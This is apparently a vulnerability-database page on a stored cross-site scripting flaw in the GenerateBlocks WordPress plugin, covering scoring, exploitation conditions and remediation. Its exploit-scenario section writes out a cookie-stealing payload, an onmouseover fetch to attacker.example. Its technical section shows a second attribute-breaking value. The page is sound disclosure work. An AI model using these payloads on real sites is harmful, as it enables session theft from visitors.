Skip to main content

GenerateBlocks CVE-2026-13458

| EUVDEUVD-2026-51744 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-01 Wordfence GHSA-vxv6-p94x-jpx2
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain contributor-level WordPress account
  2. Delivery
    Create or edit page with GenerateBlocks element
  3. Exploit
    Insert {{post_meta key:payload}} into non-URL HTML attribute
  4. Execution
    Set corresponding post meta to XSS payload via Custom Fields metabox
  5. Persist
    Victim user loads injected page
  6. Impact
    Injected event handler executes in victim browser context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a WordPress account with at minimum contributor-level role (the ability to create or edit posts and access the Custom Fields metabox). The site must have the GenerateBlocks plugin installed and active at version 2.3.0 or earlier. The attacker must be able to: (1) place a {{post_meta key:...}} dynamic tag within a non-URL HTML attribute (title, aria-label, alt, or data-* attributes) of a GenerateBlocks element block, and (2) set the corresponding post meta key to an attacker-controlled value via the Custom Fields metabox. The execution of the stored payload additionally requires a victim user to navigate to the injected page (stored XSS delivery model). Exploitation is limited by the contributor role requirement - sites that do not permit open contributor registration or that restrict Custom Fields access to higher roles are not exposed. Default WordPress installations do not enable open contributor registration, so the realistic attack surface is confined to sites with open or weakly controlled user sign-up.

Impact

The CVSS 3.1 base score of 6.4 reflects a Medium-severity finding, driven by network accessibility (AV:N), low attack complexity (AC:L), and scope change to victim browsers (S:C), tempered by the requirement for contributor-level authentication (PR:L). The requirement for an authenticated account with at least contributor role is the primary limiting factor for real-world risk - many WordPress sites restrict contributor account creation, though some accept open registrations. EPSS data is not provided, which limits probabilistic exploitation forecasting. The vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation at time of analysis. However, the Wordfence disclosure includes precise file and line-number references, which substantially reduces reverse-engineering effort for potential attackers. There is a minor discrepancy in the provided CVSS vector: stored XSS typically requires victim interaction (UI:R) to trigger, as the malicious payload only executes when a separate user visits the injected page; the stated UI:N is likely a Wordfence scoring convention treating the setup phase as the interaction point. Real-world priority is moderate - high for sites with open contributor registration, lower for tightly controlled editorial workflows.

Exploit ScenarioDerived

A threat actor registers or compromises a contributor-level WordPress account on a target site, then edits or creates a page using the GenerateBlocks editor and inserts a dynamic tag such as {{post_meta key:evil_payload}} into a data-label or aria-label attribute of a GenerateBlocks element. The attacker then uses the Custom Fields metabox to set the evil_payload post meta key to a value like closing-quote onmouseover=fetch('https://attacker.example/steal?c='+document.cookie), publishing the page. Every subsequent authenticated or unauthenticated visitor who loads the page triggers the injected event handler, potentially exfiltrating session cookies or performing actions as the victim. The Wordfence disclosure's specific file-and-line references make independent reimplementation of a working proof of concept straightforward for a moderately skilled attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 01, 2026

Stored Cross-Site Scripting in the GenerateBlocks WordPress plugin (all versions through 2.3.0) allows authenticated contributors to permanently inject malicious JavaScript into published pages by exploiting unsanitized dynamic tag rendering in non-URL HTML attributes. An attacker with contributor-level WordPress access can chain a dynamic tag placeholder (e.g., {{post_meta key:...}}) in an element attribute with a crafted post meta value containing attribute-breaking syntax, causing script execution in the browser of any subsequent visitor. No public exploit code has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the detailed technical disclosure from Wordfence lowers the bar for independent exploitation.

RemediationAI

An upstream code fix has been committed to the plugin's SVN repository (changeset 3625942 at plugins.trac.wordpress.org), but a specific patched release version number is not explicitly confirmed in the available data - administrators should update to the latest available GenerateBlocks version from the WordPress plugin repository and verify the installed version is newer than 2.3.0. As a compensating control while patching is pending, site administrators can restrict the capability to create or edit posts with Custom Fields (the post_meta mechanism) to trusted roles only (Editor or Administrator), which removes the attack surface since the exploit depends on a contributor setting an arbitrary post meta value via the Custom Fields metabox. Additionally, disabling the GenerateBlocks dynamic tag feature in site configuration, if operationally feasible, eliminates the injection vector entirely. The trade-off of the capability restriction is that legitimate contributors lose the ability to use Custom Fields, which may affect editorial workflows. Audit existing pages using GenerateBlocks elements for dynamic tags in non-URL attributes populated from post meta, particularly title, aria-label, alt, and data-* attributes.

Affected VersionsENISA

GenerateBlocks 0 ≤2.3.0

Affected Packages

euvd generateblocks no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GenerateBlocks is a WordPress page-builder plugin (CPE: cpe:2.3:a:edge22:generateblocks:*:*:*:*:*:*:*:*) that supports dynamic content rendering via a template-tag system (e.g., {{post_meta key:...}}). The vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) originates in the dynamic tag resolution pipeline across at least four files: class-register-dynamic-tag.php (L196), functions.php (L2145), class-dynamic-tag-callbacks.php (L388), and general.php (L689). When a dynamic tag is resolved inside a non-URL HTML attribute (title, aria-label, alt, data-* attributes), the resolved value is interpolated into the rendered HTML without adequate output escaping, enabling attribute context injection. Setting the referenced post meta key to a value such as x" onmouseover="alert(1) breaks out of the attribute and injects an event handler, which persists in the stored page content and fires each time a visitor loads that page. The scope change (S:C in CVSS) reflects that the attacker's payload executes in the security context of the victim's browser session, not the server.

Know when Generateblocks gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires a victim user to visit the injected page (UI:R); PR:L reflects mandatory contributor authentication; S:C captures cross-browser-context script execution.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The GenerateBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Dynamic Tag Injection in HTML Attributes in all versions up to, and including, 2.3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A Contributor-level attacker can store the malicious payload by placing a dynamic tag such as {{post_meta key:...}} in a non-URL HTML attribute (e.g., title, aria-label, alt, or data-* attributes) of a GenerateBlocks element block, then setting the corresponding unprotected post meta key via the Custom Fields metabox to a value containing a closing quote and an injected event-handler attribute.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
Medium
popular WordPress page-builder plugin with significant active install base
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy